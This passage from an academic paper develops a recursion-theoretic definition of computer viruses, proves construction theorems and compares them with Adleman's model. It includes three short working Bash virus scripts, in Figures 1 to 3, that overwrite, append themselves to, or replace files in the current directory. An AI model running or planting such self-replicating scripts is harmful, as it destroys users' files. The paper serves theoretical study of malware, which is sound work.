On abstract computer virology from a recursion-theoretic perspective

G. Bonfante, M. Kaczmarek and J-Y Marion[*]
Loria - INPL
Ecole Nationale Supérieure des Mines de Nancy
B.P. 239, 54506 Vandœuvre-lès-Nancy Cédex, France

Abstract

We are concerned with theoretical aspects of computer viruses. For this, we suggest a new definition of viruses which is clearly based on the iteration theorem and above all on Kleene's recursion theorem. We show that we capture in a natural way previous definitions, and in particular the one of Adleman. We establish generic virus constructions and we illustrate them by various examples. Lastly, we show results on virus detection.

1 A short overview of computer virology

From an epistemological point of view, it is rightful to wonder why there is only a few fundamental studies on computer viruses while it is one of the important flaws in software engineering. The lack of theoretical studies explains maybe the weakness in the anticipation of computer diseases and the difficulty to improve defenses. For these reasons, we do think that it is worth to explore fundamental aspects. We hope this paper is the first one of a series whose aim is to define an abstract virology by exploring and understanding relationships between computer infections and theoretical computer science.

The literature which explains and discusses about practical issues is quite extensive, see for example Ludwig's book [18] or Szor's one [27]. Thompson used the word "Trojan horse" in his paper [28]. As we have already said and as far as we know, there is only a dozen theoretical studies, which attempt to give a model of computer viruses. This situation is even more amazing because the word "computer virus" comes from the seminal theoretical works of Cohen [6] and Adleman [1] in the mid-80's. The book of Filiol [10] gives a very nice survey, which deals with both the fundamental subjects and the practical ones.

Before going further, the first question to ask is what is a computer virus. In [7, 9], Cohen defines viruses with respect to Turing Machines. For this, he considers viral sets. A viral set is a pair (M, V) constituted of a Turing

[*]Thanks to Eric Filiol and to the referees for their helps !

Machine M and a set of viruses V. When one runs on M a virus v of V, it duplicates or mutates to another virus of V on M's tape.

Adleman [1] takes a more abstract formulation of computer viruses based on computability theory in order to have a definition independent from a particular computational model. Adleman's attack scenario is based on a computer environment which is made of a fixed number of programs and of a fixed number of data. A virus is a computable function, which infects any program. An infected program may perform three kinds of actions triggered by the inputs :

1. Run the host program and propagate the infection.

2. Injure the system, that is compute some other function.

3. Or imitate the host program, with no infection.

Then, Adleman classifies viruses following their behaviors based on the three schemas above.

There are other studies, which follow the stream open by Cohen and Adleman. Chess and White [5] refine the definition of evolving virus. More recently, Zuo and Zhou [31] continue Aldeman's work with the same scenario. In particular, they formalize polymorphic viruses.

The approaches mentioned define a virus as an entity that enslaves an host to carry out replicating operations that brings new mutant copies into being, which are then free to go off and enslave further hosts, and so on.

There are other definitions, like [8] and [2], which focus more on identity program usurpations. The goal is to be closer to the practical issues than the previous mentioned studies and to partially deal with some human aspects. In the same vein, Thimbleby, Anderson and Cairns [13] suggest a virus representation closer from daily programming practice. In particular, they cope with the problem of distinguishing between friendly programs and infected ones.

1.1 Paper organization

We begin in Section 2 by presenting the general framework. We define what we mean by programming language and we particularly focus on the iteration (Smn) property and Kleene's recursion theorem.

In section 3, we suggest a definition of viruses by mean of recursion theory. We end by a discussion on the differences with other models and on the relevance of our definition.

Then, we study three classes of viruses based on how viruses replicate. The first duplication method in Section 4 considers a virus as a blueprint. We illustrate this reproduction principle by giving examples of viruses, like overwriting viruses, ecto-symbiotes (a kind of parasitic viruses), organisms, and companion viruses. We make a full comparison with Adleman's work in part 4.7.

We describe a more complex reproduction mechanism in Section 5. Compared with the previous method, the whole viral system is copied, that is the virus blueprint and also the propagation function. It is worth noticing that we establish an intriguing variant of recursion Theorem in order to establish this reproduction mechanism.

Lastly, we show how to construct a generator of polymorphic viruses. We make some comparison with Zuo and Zhou approaches 6.2.

The last Section is devoted to virus detection.

2 Iteration and Recursion Theorems

We are not taking a particular programming language but we are rather considering an abstract, and so simplified, definition of a programming language. However, we shall illustrate all along the theoretical constructions by `Bash` programs. The examples and analogies are there to help the reader having a better understanding of the main ideas and also to show that the theoretical constructions are applicable to any programming language. We refer to the classical books of Rogers [22], of Odifreddi [20], and to the modern approach of Jones [16].

Throughout, we fix a domain of computation $\mathcal{D}$. It is convenient to think of $\mathcal{D}$ as a set of words over some fixed alphabet. Note that $\mathcal{D}$ could also be the natural numbers or any free algebra.

A programming language is a mapping φ from $\mathcal{D} \to (\mathcal{D} \to \mathcal{D})$ such that for each program $\mathbf{p}$, $\varphi(\mathbf{p}) : \mathcal{D} \to \mathcal{D}$ is the partial function computed by $\mathbf{p}$. Following the convention used in computability theory, we write $\varphi_{\mathbf{p}}$ instead of $\varphi(\mathbf{p})$. Notice that there is no distinction between programs and data; in the present context, this is particulary relevant as both are potential virus hosts.

We write $f \approx g$ to say that for each x, either $f(x)$ and $g(x)$ are defined and $f(x) = g(x)$ or both are undefined on x. If a function f is defined on some input x, we note it $f(x)\downarrow$ otherwise, we write $f(x)\uparrow$.

A total function f is computable wrt φ if there is a program $\mathbf{p}$ such that $f \approx \varphi_{\mathbf{p}}$. If f is a partial function, we shall say that f is semi-computable. Similarly, a set is computable (resp. semi-computable) if its characteristic function is computable (semi-computable).

We also assume that there is a computable pairing function $\langle \_, \_ \rangle$ such that from two words x and y of $\mathcal{D}$, we form a pair $\langle x, y \rangle \in \mathcal{D}$. A pair $\langle x, y \rangle$ can be decomposed uniquely into x and y by two computable projection functions π_1 and π_2. Next, a finite sequence $\langle x_1, \ldots, x_n \rangle$ of words is built by repeatedly applying the pairing function, that is $\langle x_1, \ldots, x_n \rangle = \langle x_1, \langle x_2, \langle \ldots, x_n \rangle \ldots \rangle \rangle$. All along, we always deal with unary functions. We shall write $f(x, y)$ as an abbreviation of $f(\langle x, y \rangle)$. Hence we consider f as a unary function but we keep the intuition that f takes two arguments.

Following Uspenskii [29] and Rogers [22], a programming language φ is acceptable if

1. *Turing Completeness.* For any effectively computable partial function f, there is a program $\mathbf{p} \in \mathcal{D}$ such that $\varphi_{\mathbf{p}} \approx f$.

2. *Universality.* There is a effectively computable function U which satisfies that for any $\mathbf{p}, x \in \mathcal{D}$, $U(\mathbf{p}, x) = \varphi_{\mathbf{p}}(x)$.

3. *Iteration property.* There is a computable function S such that for any $\mathbf{p}, x$ and $y \in \mathcal{D}$

$$\varphi_{\mathbf{p}}(x, y) = \varphi_{S(\mathbf{p}, x)}(y) \tag{1}$$

The Turing completeness asserts that we compute all functions which are defined by mean of Turing machines. Conversely, by the universality property, for each $\mathbf{p}$, $\varphi_{\mathbf{p}}$ is effectively computable. The function U denotes the quite familiar universal function, and by Turing completeness, there is $\mathbf{u}$ such that $U \approx \varphi_{\mathbf{u}}$. The iteration property says that there is a function S which specializes a program to an argument. A practical issue is that S is a program transformation used in partial evaluation [15]. Kleene in [17] constructed the function S also known as the S-m-n function.

We present now the cornerstone of the paper which is the second recursion theorem of Kleene [17]. This theorem is one of the deepest result in theory of recursive functions. Kleene's recursion Theorem has several deep consequences such as the existence of an isomorphism between two acceptable programming languages due to Rogers [21], or Blum's speed-up Theorem [3]. There are also various applications in learning Theory [14], or in programming Theory [15].

Theorem 1 (Kleene's Recursion Theorem). *If g is a semi-computable function, then there is a program* $\mathbf{e}$ *such that*

$$\varphi_{\mathbf{e}}(x) = g(\mathbf{e}, x) \tag{2}$$

Proof. Let $\mathbf{p}$ be a program of the semi-computable function $g(S(y,y),x)$. We have

$$\begin{aligned} g(S(y,y),x) &= \varphi_{\mathbf{p}}(y,x) \\ &= \varphi_{S(\mathbf{p},y)}(x) \end{aligned}$$

By setting $\mathbf{e} = S(\mathbf{p},\mathbf{p})$, we have

$$\begin{aligned} g(\mathbf{e},x) &= g(S(\mathbf{p},\mathbf{p}),x) \\ &= \varphi_{S(\mathbf{p},\mathbf{p})}(x) \\ &= \varphi_{\mathbf{e}}(x) \end{aligned}$$

□

Kleene's theorem is similar, in spirit, to von Neumann [30] self-reproduction of cellular automata. It allows to compute a function using self-reference. The fixed point $\mathbf{e}$ of the projection function $\pi_1(y,x) = y$ gives a self-reproducing program, because we have $\varphi_{\mathbf{e}}(x) = \pi_1(\mathbf{e},x) = \mathbf{e}$. A few words of explanation could shed light on the intuition behind those constructions, which we shall use throughout. The interpretation of $S(\mathbf{p},x)$ is that $S(\mathbf{p},x)$ is a program $\mathbf{p}$ which contains the data x inside it. The self-application that is $S(\mathbf{p},\mathbf{p})$ corresponds to the construction of a program with its own code $\mathbf{p}$ stored inside. In other words, the execution of $S(\mathbf{p},\mathbf{p})$ computes the program $\mathbf{p}$ on the input $\mathbf{p}$.

3 A Viral Mechanism

We suggest an abstract formalization of viruses which reflects the fact that a virus may be thought of as a program which reproduces and may execute some actions. Our point of view in this study is that a virus is a program which is defined by a propagation mechanism. The propagation mechanism describes how a virus infects and replicates with possible mutations. The propagation may end when a virus decides to do something else. We represent the propagation mechanism as a computable function $\mathcal{B}$, which is a vector that infects, carries and transmits a viral code. For this, assume that $\mathbf{v}$ is a program of a virus and that $\mathbf{p}$ is a program, or a data.

We are thinking of $\mathcal{B}(\mathbf{v},\mathbf{p})$ as a program which is the infected form of $\mathbf{p}$ by $\mathbf{v}$. So, the propagation function transforms a program $\mathbf{p}$ into another one. When one runs the program $\mathcal{B}(\mathbf{v},\mathbf{p})$, the virus $\mathbf{v}$ is executed and it possibly copies itself by selecting some targets. We see also that a propagation function describes the functional behavior of a class of viruses by describing the action of $\mathbf{v}$ wrt $\mathbf{p}$. Thus a virus has a double interpretation. It is a program, which is executable, but it is also a blueprint. Indeed, when we combines $\mathbf{p}$ and $\mathbf{v}$ wrt $\mathcal{B}$, we obtain a virus. In conclusion, a virus and its propagation function $\mathcal{B}$ are intimately related.

Definition 2. Assume that $\mathcal{B}$ is a computable function. A virus wrt $\mathcal{B}$ is a program $\mathbf{v}$ such that for each $\mathbf{p}$ and x in $\mathcal{D}$,

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{3}$$

The function $\mathcal{B}$ is called the propagation function of the virus $\mathbf{v}$.

The existence of viruses wrt a propagation function $\mathcal{B}$ is a consequence of recursion Theorem. Indeed, there is a program $\mathbf{q}$ such that $\varphi_{\mathbf{q}}(y, \mathbf{p}, x) = \varphi_{\mathcal{B}(y,\mathbf{p})}(x)$ for all $y, \mathbf{p}, x \in \mathcal{D}$. By Kleene's recursion theorem, there is a program $\mathbf{v}$ such that $\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathbf{q}}(\mathbf{v}, \mathbf{p}, x)$. Therefore, we have $\varphi_{\mathbf{q}}(\mathbf{v}, \mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x)$. So, $\mathbf{v}$ is a virus wrt propagation function $\mathcal{B}$.

We shall demonstrate that the virus definition that we propose embeds and goes beyond Adleman's one. It also formalizes most of the known practical cases of infections in smooth way thanks to recursion Theorem. Our approach differs from the cited studies in several respects:

1. The programming language framework is closer to programming theory than the purely functional point of view of Adleman or the Turing machine formalism. Indeed, a virus is a program and the propagation mechanism is explicit.

2. The scenarios, in which a virus infects a system and replicates itself, are very wide. Indeed, the system environment may grow, which allows a virus to copy itself in different files. Moreover both programs and data can be contaminated.

3. We adopt a constructive point of view. We effectively produce viruses. Whereas for Adleman, a virus is a function that satisfy some first order equation, and so, he does not need to cope with the programs that compute them. Notice that it is rarely established that such equations have a solution, which would demonstrate the existence of the specified virus.

4. Finally, it turns out that a virus reproduces in many ways, capturing polymorphism for example. This means that it becomes possible to make a wide range of new models of computer viruses.

On the other hand, the proposed definition encompasses a number of programs, for which we can hardly say that they are viruses. The reason of this difficulty lies on the nature of the definition of real viruses, or of computer infections in our every day life. Nevertheless, we think that this recursion theoretic definition gives a general principal for virus constructions and allows establishing properties on them, as we shall see in the rest of this study.

Viruses might be defined by their ability for self-reproduction. They can copy themselves in different ways. We present two kind of duplication mechanisms in the next sections. This study suggests a virus classification based on the reproduction strategy and the propagation function.

4 Blueprint duplication

4.1 Characterization of blueprint duplication

We begin by considering viruses which copy themselves leaving outside of duplication process the propagation function. A blueprint duplication is a replication in which the propagation function remains implicit.

Theorem 3 below provides a generic construction from which we base blueprint reproduction. The idea behind blueprint duplication is that the virus code $\mathbf{v}$ is copied. To keep the infection active after blueprint duplication, a virus should become an independent organism either by taking the identity of an host or by being a new entity. Indeed, in both cases, one can run the copied virus. Otherwise, the virus is glued, in a way or another, to an host. The copied virus is dormant because there is, a priori, no mechanism inside the infected host to wake up the virus.

Theorem 3. *Given a semi-computable function f, there is a virus $\mathbf{v}$ such that for any $\mathbf{p}$ and x in $\mathcal{D}$, we have $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x)$.*

Proof. Recursion Theorem provides a fixed point $\mathbf{v}$ of the semi-computable function f. So we have

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x)$$

Let $\mathbf{e}$ be a program computing f, that is $f \approx \varphi_{\mathbf{e}}$. Define $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$. We have

$$\begin{aligned}
\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) &= \varphi_{S(\mathbf{e},\mathbf{v},\mathbf{p})}(x) && \text{by definition of } \mathcal{B} \\
&= \varphi_{\mathbf{e}}(\mathbf{v}, \mathbf{p}, x) && \text{by Iteration theorem} \\
&= f(\mathbf{v}, \mathbf{p}, x) && \text{by definition of } \mathbf{e} \\
&= \varphi_{\mathbf{v}}(\mathbf{p}, x) && \text{by (4)}
\end{aligned}$$

```
for FName in * ; do # for all files
cp $0 $FName # Overwrite all the files
done
```

Figure 1: An overwriting virus

So, $\mathbf{v}$ is a virus wrt the propagation function $\mathcal{B}$ which completes the proof. $\square$

We are now illustrating the applications of Theorem 3 and see examples of blueprint duplications.

4.2 Overwriting viruses

An *overwriting* virus replaces a program or several ones by a copy of itself. An example of *overwriting* virus is displayed in Figure 1.

The files are represented by a list of programs $(\mathbf{p}_1, \dots, \mathbf{p}_n)$. A virus $\mathbf{v}$, which corresponds to the above example, satisfies the equation $\varphi_{\mathbf{v}}(\mathbf{p}_1, \dots, \mathbf{p}_n) = (\mathbf{v}, \dots, \mathbf{v})$. Theorem 3 guarantees the existence of $\mathbf{v}$ and provides a propagation function. For this, we apply Theorem 3 to the function f defined by $f(y, \mathbf{p}_1, \dots, \mathbf{p}_n) = (y, \dots, y)$. We then obtain a virus $\mathbf{v}$ wrt a propagation function $\mathcal{B}(\mathbf{p}, x) = S(\mathbf{e}, \mathbf{p}, x)$ where $\mathbf{e}$ is a program of f.

4.3 Ecto-symbiotes

A virus is an ecto-symbiote if it lives on the body surface of programs, that is it keeps quite intact the program structure and copies itself at the beginning or the end of a program host. A typical example of ecto-symbiotic is a virus $\mathbf{v}$ which satisfies

$$\varphi_{\mathbf{v}}(\mathbf{p}_1, \dots, \mathbf{p}_n) = (\delta(\mathbf{v}, \mathbf{p}_1), \dots, \delta(\mathbf{v}, \mathbf{p}_n))$$

where δ is a duplication function like $\delta(\mathbf{v}, \mathbf{p}) = \mathbf{v} \cdot \mathbf{p}$ where $\cdot$ is the word concatenation. Figure 2 gives an example of an ecto-symbiote. Again, Theorem 3 constructs an ecto-symbiote $\mathbf{v}$.

4.4 Organisms

An organism duplicates itself without modifying programs. It satisfies an equation of the form

$$\varphi_{\mathbf{v}}(\mathbf{p}) = (\mathbf{v}, \mathbf{p})$$

```
# for each file FName in the current path
for FName in *;do
 # if FName is not me
 if [ $FName != $0 ]; then
 # add myself at the end of FName
 cat $0 >> $FName
 fi
done
```

Figure 2: An example of ecto-symbiote

We see that by iterating this virus, it will make copies of itself until the system runs out of memory.

The word "organism" comes from the terminology of Adleman in [1]. There, he proposed to study such viruses, which was not captured by his formalization, as we shall see shortly. Organisms were a concern of Adleman. Let us cite him [1], *"It may be appropriate to study 'computer organisms' and treat 'computer viruses' as a special case"*. Our formalism allows a uniform study of both concepts.

4.5 Companion viruses

A companion virus is an entity which does not modify the functional behavior of the target program at first glance. When one executes the target program, the companion virus runs first, and then calls the target program. An example of a companion virus is presented in Figure 3.

A companion virus satisfies an equation of the form

$$\varphi_{\mathbf{v}}(\mathbf{p}) = \mathbf{v}' \qquad \text{where } \forall x \in \mathcal{D}, \varphi_{\mathbf{v}'}(x) = \varphi_{\mathbf{p}}(\varphi_{\mathbf{v}}(x))$$

Again, Theorem 3 gives solutions to this construction. Indeed, let $\mathbf{q}$ be a program for the (composition) function $\mathbf{comp}(a, b, x) = \varphi_a(\varphi_b(x))$. Solutions of the above equation are the ones of the following equation.

$$\varphi_{\mathbf{v}}(\mathbf{p}) = S(\mathbf{q}, \mathbf{p}, \mathbf{v})$$

Indeed, $\varphi_{S(\mathbf{q},\mathbf{p},\mathbf{v})}(x) = \varphi_{\mathbf{p}}(\varphi_{\mathbf{v}}(x))$.

4.6 Implicit virus Theorem

We establish a virus construction which performs several actions depending on some conditions on its arguments. This construction of trigger viruses is

```
# for each file FName in the current path
for FName in *;do
# if FName is not a companion
  if [ ! -e .$FName ]; then
    # move FName to .FName
    mv $FName .$FName
    # copy myself to FName
    cat $0 > $FName
    # add the command "launch .FName"
    echo "bash .$FName" >> $FName
    # allow .FName to be executed
    chmod 544 .$FName
  fi
done
```

Figure 3: An example of companion virus

very general and embeds a lot of practical cases.

Theorem 4. *Let $C_1, \ldots, C_k$ be k semi-computable disjoint subsets of $\mathcal{D}$ and $V_1, \ldots, V_k$ be k semi-computable functions There is a virus $\mathbf{v}$ which satisfies the equation for all $\mathbf{p}$ and x*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \begin{cases} V_1(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_1 \\ \vdots & \\ V_k(\mathbf{v}, \mathbf{p}, x) & (\mathbf{p}, x) \in C_k \end{cases} \tag{4}$$

Proof. Define

$$F(y, \mathbf{p}, x) = \begin{cases} V_1(y, \mathbf{p}, x) & (\mathbf{p}, x) \in C_1 \\ \vdots & \\ V_k(y, \mathbf{p}, x) & (\mathbf{p}, x) \in C_k \end{cases} \tag{5}$$

The function F is semi-computable and there is a code $\mathbf{e}$ such that $F \approx \varphi_e$. Again, recursion Theorem yields a fixed point $\mathbf{v}$ of F which satisfies the Theorem equation. The induced propagation function is $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$ □

4.7 Comparison with Adleman's Viruses

Adleman's modeling is based on the following scenario. The system is determined by a number n of programs and a number m of data. A system environment is a pair $(\mathbf{r},\mathbf{d})$ of n programs $\mathbf{r} = \mathbf{r}_1,\ldots,\mathbf{r}_n$ and m data $\mathbf{d} = \mathbf{d}_1,\ldots,\mathbf{d}_m$. Now, a virus $\mathcal{A}$ in the sense of Adleman is a computable function that we call A-viral function. For every program $\mathbf{r}_i$, $\mathcal{A}(\mathbf{r}_i)$ is the "infected" form of the program $\mathbf{r}_i$ wrt $\mathcal{A}$.

An infected program has several behaviors which depend on the inputs. Adleman lists three actions. In the first (6) the infected program ignores the intended task and executes some code. That is why it is called *injure*. In the second (7), the infected program infects the others, that is it performs the intended task of the original, a priori sane program, and then it contaminates other programs. In the third and last one (8), the infected program imitates the original program and stays quiescent.

We translate Adleman's original definition into our formalism.

Definition 5 (Adleman's viruses). A total computable function $\mathcal{A}$ is said to be a A-viral function (virus in the sense of Adleman) if for each system environment $(\mathbf{r},\mathbf{d})$ one of the three following properties holds:

Injure

$$\forall \mathbf{p},\mathbf{q} \in \mathcal{D} \quad \varphi_{\mathcal{A}(\mathbf{p})}(\mathbf{r},\mathbf{d}) = \varphi_{\mathcal{A}(\mathbf{q})}(\mathbf{r},\mathbf{d}) \tag{6}$$

This first kind of behavior corresponds to the execution of some viral functions independently from the infected program.

Infect

$$\forall \mathbf{p} \in \mathcal{D} \quad \varphi_{\mathcal{A}(\mathbf{p})}(\mathbf{r},\mathbf{d}) = \langle \varepsilon_{\mathcal{A}}(\mathbf{r}'_1),\ldots,\varepsilon_{\mathcal{A}}(\mathbf{r}'_n),\mathbf{d}'\rangle \tag{7}$$

where $\varphi_{\mathbf{p}}(\mathbf{r},\mathbf{d}) = \langle \mathbf{r}',\mathbf{d}'\rangle$ and $\varepsilon_{\mathcal{A}}$ is a computable selection function defined by

$$\varepsilon_{\mathcal{A}}(\mathbf{p}) = \begin{cases} \mathbf{p} \text{ or} \\ \mathcal{A}(\mathbf{p}) \end{cases}$$

The second item corresponds to the case of infection. One sees that any program is potentially rewritten according to $\mathcal{A}$. But, data are left unchanged.

Imitate

$$\forall \mathbf{p} \in \mathcal{D} \quad \varphi_{\mathcal{A}(\mathbf{p})}(\mathbf{r},\mathbf{d}) = \varphi_{\mathbf{p}}(\mathbf{r},\mathbf{d}) \tag{8}$$

The last item corresponds to mimic the original program.

Theorem 6. *Assume that $\mathcal{A}$ is a A-virus. Then there is a virus wrt a propagation function $\mathcal{B}$, which performs the same actions as $\mathcal{A}$. That is $\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})} \approx \varphi_{\mathcal{A}(\mathbf{p})}$.*

Proof. Let $\mathbf{e}$ be the code of $\mathcal{A}$, that is $\varphi_{\mathbf{e}} \approx \mathcal{A}$. There is a semi-computable function *App* such that $App(x, y, z) = \varphi_{\varphi_x(y)}(z)$. Suppose that $\mathbf{q}$ is the code of *App*. Take $\mathbf{v} = S(\mathbf{q}, \mathbf{e})$. We have

$$\begin{aligned}
\varphi_{\mathcal{A}(\mathbf{p})}(\mathbf{r}, \mathbf{d}) &= \varphi_{\varphi_{\mathbf{e}}(\mathbf{p})}(\mathbf{r}, \mathbf{d}) \\
&= App(\mathbf{e}, \mathbf{p}, \langle \mathbf{r}, \mathbf{d} \rangle) \\
&= \varphi_{\mathbf{q}}(\mathbf{e}, \mathbf{p}, \langle \mathbf{r}, \mathbf{d} \rangle) \\
&= \varphi_{S(\mathbf{q},\mathbf{e})}(\mathbf{p}, \langle \mathbf{r}, \mathbf{d} \rangle) \\
&= \varphi_{\mathbf{v}}(\mathbf{p}, \langle \mathbf{r}, \mathbf{d} \rangle)
\end{aligned}$$

We conclude that the propagation function is $\mathcal{B}(\mathbf{v}, \mathbf{p}) = \mathcal{A}(\mathbf{p})$. □

Adleman defines many kinds of viruses based on the properties they satisfy. These classes of viruses are captured here by using the implicit virus theorem 4.

Adleman's framework has some limitations because the propagation mechanism is fixed. This implies that some classes of virus are not captured.

- Organisms are not captured because the number of programs increases which violates the condition on the system environment.
- It does not take into account viruses that modify data.
- A virus which does not terminate on some inputs, is not considered.

But even if we restrict ourselves to viruses that do not change the number of programs, nor modify data, nor loop on some inputs, some of them do not find any corresponding A-viruses. This is shown in the next Theorem, which constructs a virus that we name wagger virus. It permutes programs inside the system environment. Thus, when a user runs a program, another one is run instead, which may cause some trouble.

Theorem 7 (The wagger virus). *There are viruses with no corresponding A-viruses. That is, there is a virus* $\mathbf{v}$ *wrt a propagation function* $\mathcal{B}$ *such that there is no A-virus* $\mathcal{A}$ *verifying* $\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})} \approx \varphi_{\mathcal{A}(\mathbf{p})}$.

Proof. We consider, without loss of generality, that the number of programs is 2. Theorem 3 proves the existence of $\mathbf{v}$ and defines its propagation function $\mathcal{B}$ such that

$$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) = \langle \mathbf{r}'_2, \mathbf{r}'_1, \mathbf{d}' \rangle \qquad \text{where } \varphi_{\mathbf{p}}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) = \langle \mathbf{r}'_1, \mathbf{r}'_2, \mathbf{d}' \rangle$$

We see that the virus permutes its program arguments.

We show by contradiction that Adleman's formalization does not capture the above virus. For this, suppose the existence of an A-viral function $\mathcal{A}$ such that $\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})} \approx \varphi_{\mathcal{A}(\mathbf{p})}$ for all $\mathbf{p}$.

Take **id** a program that computes the identity, that is $\varphi_{\mathbf{id}}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) = \langle \mathbf{r}_1, \mathbf{r}_2, \mathbf{d} \rangle$. We have $\varphi_{\mathcal{A}(\mathbf{id})}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) = \langle \mathbf{r}_2, \mathbf{r}_1, \mathbf{d} \rangle$.

Next, let **inc** be a program such that $\varphi_{\mathbf{inc}}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) = \langle \mathbf{r}_1, \mathbf{r}_2, \mathbf{d}+1 \rangle$. Now, we have $\varphi_{\mathcal{A}(\mathbf{inc})}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) = \langle \mathbf{r}_2, \mathbf{r}_1, \mathbf{d}+1 \rangle$. Clearly, there is no input $(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d})$ for which $\mathcal{A}$ verifies the injure property, just because $\varphi_{\mathcal{A}(\mathbf{id})}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) \neq \varphi_{\mathcal{A}(\mathbf{inc})}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d})$.

Next, the imitate properties does not hold, because $\varphi_{\mathbf{id}}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d})$ always differs from $\varphi_{\mathcal{A}(\mathbf{id})}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d})$ for any inputs $(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d})$, because $\mathbf{r}_1$ and $\mathbf{r}_2$ are switched by the virus.

So, the infection property should hold. Therefore for any input $(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d})$, $\varphi_{\mathcal{A}(\mathbf{id})}(\mathbf{r}_1, \mathbf{r}_2, \mathbf{d}) = \langle \varepsilon_{\mathcal{A}}(\mathbf{r}_1), \varepsilon_{\mathcal{A}}(\mathbf{r}_2), \mathbf{d} \rangle$. However, it suffices to take $\mathbf{r}_2 \neq \varepsilon_{\mathcal{A}}(\mathbf{r}_1)$ to see that $\langle \varepsilon_{\mathcal{A}}(\mathbf{r}_1), \varepsilon_{\mathcal{A}}(\mathbf{r}_2), \mathbf{d} \rangle \neq \langle \mathbf{r}_2, \mathbf{r}_1, \mathbf{d} \rangle$. This leads to a contradiction. We conclude that $\mathcal{A}$ does not exist. □

5 The Smith

We now turn to another reproduction method that we call "reproduction through vector" where the vector corresponds to the propagation function. Unlike blueprint duplication, it is the propagation function with the virus blueprint which is copied. The infection can be passed from host to host through a vector which is the propagation function. The consequence is that if one runs an infected program, the virus will be automatically activated.

Constructions are more involved than in the previous section. The reproduction through vector methods is based on a double fixed point obtained from Theorem 1 and Theorem 8.

5.1 An explicit recursion theorem

Theorem 8. *Let f be a semi-computable function. There exists a computable function Φ such that*

$$\varphi_{\Phi(y)}(x) = f(\mathbf{e}, y, x) \qquad \textit{where } \mathbf{e} \textit{ is a program for } \Phi$$

Proof. Let $\mathbf{q}$ be a program for f. By applying Theorem 1 to the computable function $S(\mathbf{q}, z, y)$, we find an $\mathbf{e}$ such that for any y

$$\varphi_{\mathbf{e}}(y) = S(\mathbf{q}, \mathbf{e}, y)$$

Setting $\Phi(y) = S(\mathbf{q}, \mathbf{e}, y)$, we have for any x and y

$$\begin{aligned}\varphi_{\Phi(y)}(x) &= \varphi_{S(\mathbf{q},\mathbf{e},y)}(x) \\ &= \varphi_{\mathbf{q}}(\mathbf{e}, y, x) \\ &= f(\mathbf{e}, y, x)\end{aligned}$$

□

Theorem above states that the program $\mathbf{e}$ computes a function Φ which generates fixed points of f. Those fixed points are uniformly computed from f's arguments. In fact, Theorem 8 strengthens Myhill's recursion theorem [19], as well as extended (or strong) recursion theorems that are commonly presented in textbooks as one can read it in [24] or in a more abstract, but in a fascinating way in [25].

Theorem 9 (Extended recursion [24]). *For any semi-computable function h and any semi-computable functions $g_1, \ldots, g_n$, there is a function Φ such that for all x, y*

$$\varphi_{\Phi(y)}(x) = h(y, \Phi(g_1(y)), \ldots, \Phi(g_n(y)), x)$$

Proof. Set $f(z, y, x) = h(y, \varphi_z(g_1(y)), \ldots, \varphi_z(g_n(y)), x)$ and apply Theorem 8. □

5.2 Reproduction through vectors

We suggest a general construction method to perform reproduction through vector, which is the analogous of Theorem 3 but based on double fixed point methods.

Theorem 10. *If f is a semi-computable function, then there is a propagation function $\mathcal{B}$ and a virus $\mathbf{v}$ such that*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{e}, \mathbf{v}, \mathbf{p}, x) \qquad \textit{where } \mathbf{e} \textit{ is a program for } \mathcal{B}$$

Proof. By applying Theorem 8, we get a computable function $\mathcal{B}$ such that

$$\varphi_{\mathcal{B}(y,\mathbf{p})}(x) = f(\mathbf{e}, y, \mathbf{p}, x) \qquad \text{where } \mathbf{e} \text{ is a program for } \mathcal{B}$$

Next, we use Kleene's recursion Theorem 1 on $f(\mathbf{e}, y, \mathbf{p}, x)$ in order to have a virus $\mathbf{v}$ which satisfies

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{e}, \mathbf{v}, \mathbf{p}, x)$$

By combining both equations, we have

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x)$$

We conclude that $\mathcal{B}$ is the propagation function of the virus $\mathbf{v}$. $\square$

Theorem's demonstration uses a double recursion property, which is based on Kleene's theorem 1 and on the above theorem 8. There are various double fixed point recursion theorems for whom Smullyan in [23] was one of the pioneer. As we have previously said about Theorem 8, the difference lies on the fact that a code of the propagation function is an argument of f. That is, we do not define a function which produces fixed points from f arguments, but we build a program that computes such a function.

Theorem 10 is stronger than Theorem 3 in that it allows to replicate not only a virus $\mathbf{v}$ but also to apply the propagation function $\mathcal{B}$ anywhere. To illustrate this, we consider again companion like viruses, but this time we define it by the following equation.

